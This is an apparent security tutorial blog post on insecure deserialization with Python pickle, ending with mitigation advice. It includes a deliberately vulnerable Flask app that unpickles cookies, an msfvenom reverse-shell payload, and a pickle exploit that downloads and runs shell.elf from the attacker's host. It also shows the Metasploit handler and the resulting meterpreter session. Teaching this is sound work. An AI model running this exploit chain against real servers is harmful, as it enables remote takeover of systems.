An introduction to attacks based on insecure deserialization.

What is serialization?

Let’s start off by defining what exactly serialization means. Serialization is the process of converting a complex object, such as a list in python, into a format which is more suitable for certain operations such as storing into files, transmitting over a network. Serialization is also, at times, referred to as marshaling.

Serialization has an obvious benefit that it retains the structure of the original object when the data gets deserialized. This is a fancy way of saying that the you serialized in python will directly be converted back to a list once you deserialize it and hence, it can be used as a variable’s value immediately rather than to parse it to make sense of it.

Insecure Deserialization

Insecure Deserialisation refers to when the data being deserialized abuses the logic of the application to perform unintended tasks. These tasks could range from performing Denial of Service (DoS) attacks, spawning a reverse shell and executing arbitrary code on the target.

The example below gives a peek at the severity of this vulnerability:

import pickle
import os
class BadUserClass():
def __init__(self, username):
self.username = username
def __reduce__(self):
return (self.__class__, (os.system("whoami"),))
bad_user_obj = BadUserClass("ayush")serialized_obj = pickle.dumps(bad_user_obj)# Insecure deserialization
user = pickle.loads(serialized_obj)
print("Hello!, {}".format(user.username))

Running the above code provides us with the following output, displaying -

Hello!, 0

But let’s take a bit more realistic example because no one would want to exploit themselves.

Let’s assume that we have a simple web application which asks for your name and greets with a customized greeting! On the server side, we’ll have a simple app running with a class to manage user data.

import os
import pickle
from uuid import uuid1
from flask import Flask, make_response, request
from base64 import b64encode, b64decode
# The User Class which assigns a random ID to each connection
class UserID:
def __init__(self, uuid=None):
self.uuid = str(uuid1())
def __str__(self):
return self.uuid
# The main Flask Backend
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():
user_obj = request.cookies.get('uuid')
if user_obj == None:
msg = "Seems like you didn't have a cookie. No worries! I'll set one now!"
response = make_response(msg)
user_obj = UserID()
response.set_cookie('uuid', b64encode(pickle.dumps(user_obj)))
return response
return "Hey there! {}!".format(pickle.loads(b64decode(user_obj)))
if __name__ == "__main__":
# Using host='' to accept connections from all IPs'')

A brief explanation of the app we see above is that it has a class which serves to assign a unique ID to each visitor of the site. When someone visits the site, the flask app checks if there exists a cookie indicating a returning user. If it exists, the visitor is greeted with a personalized message. If the cookie does not exist, the backend sets one at that time. Here’s how it looks in action -

  • The response to a first-time visitor:
  • The response to a returning visitor:

I know that displaying the unique ID for a visitor on the browser is probably one of the worst things a back-end engineer could do but the point here is to understand insecure deserialization, so bear with me.

Now, that we know how the app functions, breaking into it is easy. Well, kind of. All we need to do, to target it, is to replace the cookie’s value set by the backend with the malicious serialized data. Let’s try and get a reverse shell. All we need to do is generate a malicious class object with the required terminal commands and set the cookie’s value to the encoded value of the serialized object we created.

So, first I’ll create a called with and place it in -

root@kali:~# msfvenom --payload linux/x86/meterpreter/reverse_tcp -f elf -o shell.elf
root@kali:~# mv shell.elf /var/www/html/

Then the following script should take care of all the steps I mentioned before and give us the value we need, to use the payload -

import os
import pickle
from base64 import b64encode
PAYLOAD = "cd /tmp && wget && chmod +x shell.elf && ./shell.elf"class Exploit(object):
def __reduce__(self):
return (eval, ("os.system('" + PAYLOAD + "')",))
exploit_code = pickle.dumps(Exploit())print(b64encode(exploit_code))# Output is: b'gANjYnVpbHRpbnMKZXZhbApxAFhcAAAAb3Muc3lzdGVtKCdjZCAvdG1wICYmIHdnZXQgaHR0cDovLzEwLjAuMi4xNS9zaGVsbC5lbGYgJiYgY2htb2QgK3ggc2hlbGwuZWxmICYmIC4vc2hlbGwuZWxmJylxAYVxAlJxAy4='

Note: Firstly, for anyone who is wondering, the IP used above is what you’ll replace with your IP. Secondly, the output is a but we only need its contents so we can ignore the at the start and at the end.

Let’s visit the site and get ourselves an ID first -

Now, let’s change the cookie’s value using the browser’s JavaScript console -

Hitting refresh on the browser would trigger the backend to read the cookie value and deserialize it which will trigger our payload. So, let’s set-up our before doing that -

root@kali:~# msfconsole--- snipped ---msf > use exploit/multi/handler
msf exploit(multi/handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
PAYLOAD => linux/x86/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on

Hitting refresh on the browser, we execute the payload and checking back on we have a session active and now are in the server -

[*] Started reverse TCP handler on
[*] Sending stage (861480 bytes) to
[*] Meterpreter session 1 opened ( -> at 2019-06-02 14:13:12 -0400
meterpreter > shell
Process 3470 created.
Channel 1 created.

As the above snippet shows, we have a successful meterpreter shell, which gives us the ability to do virtually anything on the server, from sending additional payloads to pivoting and attacking other systems by proxying our attack traffic through this server.

By the way, if you were wondering how the target IP and our IP are the same, it’s because I ran the server on the same system. It doesn’t change or affect anything though. In a realistic situation, you’d do the same stuff we did here.

I believe that the dangers of insecure deserialization should be quite evident now. But, we should also take note of the fact that we were able to exploit the vulnerability because we had the source to look at. Insecure deserialization is one of the most difficult vulnerabilities to find and exploit. It generally requires some access to the source code of the target application itself. This can happen in two cases — a white-box testing scenario or when the attacker manages to get hold of the source somehow.


Even though insecure deserialization is hard to identify, one should not rely on the attacker having no luck in finding the vulnerability. We can secure the application from deserialization attacks to a great extent by implementing the following rules -

  • Validate user input.
  • Never deserialize data from an untrusted source.
  • Run the deserialization code with limited access privileges.
  • When transferring data between two systems, check if the object has been tampered with. One can use checksums for this.
  • If available, use safe deserialization methods. For example, using instead of in python.

Head over to for more posts on security.

GDSC VIT Vellore

Google Developer Student Clubs VIT is a non-profit community…

GDSC VIT Vellore

Google Developer Student Clubs VIT is a non-profit community that aims to inspire intelligent minds in the field of technology. GDSC provides opportunities where developers, designers and managers work together to carry out real-time projects.

Ayush Priya

Written by

A Python Developer and a Security Enthusiast!

GDSC VIT Vellore

Google Developer Student Clubs VIT is a non-profit community that aims to inspire intelligent minds in the field of technology. GDSC provides opportunities where developers, designers and managers work together to carry out real-time projects.